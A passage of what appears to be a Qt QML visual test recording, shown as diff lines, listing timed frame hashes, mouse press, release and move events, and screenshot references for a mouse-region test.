"73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3776 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3792 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3808 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3824 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3840 + image: "mouseregion.3.png" + } + Frame { + msec: 3856 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3872 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3888 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3904 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3920 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3936 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3952 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3968 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 3984 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4000 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4016 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4032 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4048 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4064 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4080 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4096 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4112 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4128 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4144 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4160 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4176 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4192 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4208 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4224 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4240 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4256 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4272 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4288 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4304 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4320 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 2 + button: 2 + buttons: 2 + x: 133; y: 31 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4336 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4352 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4368 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4384 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4400 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4416 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Frame { + msec: 4432 + hash: "73f1639b9e2164c7b974042934c0d151" + } + Mouse { + type: 3 + button: 2 + buttons: 0 + x: 133; y: 31 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4448 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4464 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4480 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4496 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4512 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4528 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4544 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4560 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4576 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4592 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4608 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4624 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4640 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4656 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4672 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4688 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4704 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4720 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4736 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 133; y: 32 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 136; y: 32 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4752 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 142; y: 32 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 148; y: 32 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4768 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 155; y: 32 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 161; y: 32 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4784 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 166; y: 31 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4800 + image: "mouseregion.4.png" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 168; y: 31 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 170; y: 30 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4816 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 171; y: 29 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4832 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4848 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4864 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 4880 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 172; y: 28 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 175; y: 26 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4896 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 178; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4912 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 182; y: 24 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 187; y: 22 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4928 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 191; y: 22 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 195; y: 21 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4944 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 200; y: 21 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 206; y: 21 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4960 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 211; y: 21 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 215; y: 21 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4976 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 218; y: 21 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 221; y: 20 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4992 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 224; y: 20 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5008 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 225; y: 20 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 226; y: 20 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5024 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 227; y: 20 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5040 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5056 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5072 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 228; y: 20 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 229; y: 20 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5088 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 231; y: 20 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 232; y: 20 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5104 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 233; y: 20 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5120 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5136 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5152 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5168 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 233; y: 21 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 234; y: 22 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5184 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 237; y: 23 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5200 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 239; y: 24 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 242; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5216 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 244; y: 25 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 245; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5232 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 247; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5248 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5264 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5280 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5296 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5312 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5328 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5344 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5360 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5376 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5392 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5408 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5424 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5440 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5456 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5472 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5488 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5504 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5520 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5536 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5552 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5568 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5584 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5600 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5616 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5632 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5648 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5664 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5680 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5696 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5712 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5728 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5744 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5760 + image: "mouseregion.5.png" + } + Frame { + msec: 5776 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5792 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5808 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5824 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5840 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 247; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5856 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5872 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5888 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5904 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5920 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5936 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 247; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5952 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5968 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 5984 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6000 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6016 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6032 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6048 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6064 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6080 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6096 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6112 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6128 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6144 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6160 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6176 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6192 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6208 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6224 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6240 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6256 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6272 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6288 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6304 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6320 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6336 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6352 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6368 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6384 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6400 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6416 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6432 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6448 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6464 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6480 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6496 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6512 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6528 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6544 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6560 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6576 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 247; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6592 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6608 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6624 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6640 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 247; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6656 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6672 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6688 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6704 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6720 + image: "mouseregion.6.png" + } + Frame { + msec: 6736 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 4 + button: 1 + buttons: 1 + x: 247; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6752 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6768 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6784 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6800 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6816 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6832 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 247; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6848 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6864 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6880 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6896 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6912 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6928 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6944 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6960 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6976 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 6992 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7008 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7024 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7040 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7056 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7072 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7088 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7104 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7120 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7136 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7152 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7168 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7184 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7200 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 247; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7216 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7232 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7248 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7264 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7280 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7296 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7312 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7328 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7344 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7360 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7376 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7392 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7408 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7424 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7440 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7456 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7472 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7488 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7504 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7520 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7536 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7552 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7568 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7584 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7600 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7616 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7632 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7648 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7664 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7680 + image: "mouseregion.7.png" + } + Frame { + msec: 7696 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7712 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7728 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7744 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7760 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7776 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7792 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7808 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7824 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7840 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7856 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7872 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7888 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7904 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7920 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7936 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7952 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7968 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 7984 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 8000 + hash: "12edb0902e4d480c9052b00edc1a0a42" + } + Frame { + msec: 8016 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8032 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8048 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8064 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8080 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8096 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8112 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8128 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8144 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8160 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8176 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8192 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8208 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8224 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8240 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8256 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8272 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8288 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8304 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8320 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8336 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 247; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8352 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8368 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8384 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8400 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8416 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8432 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 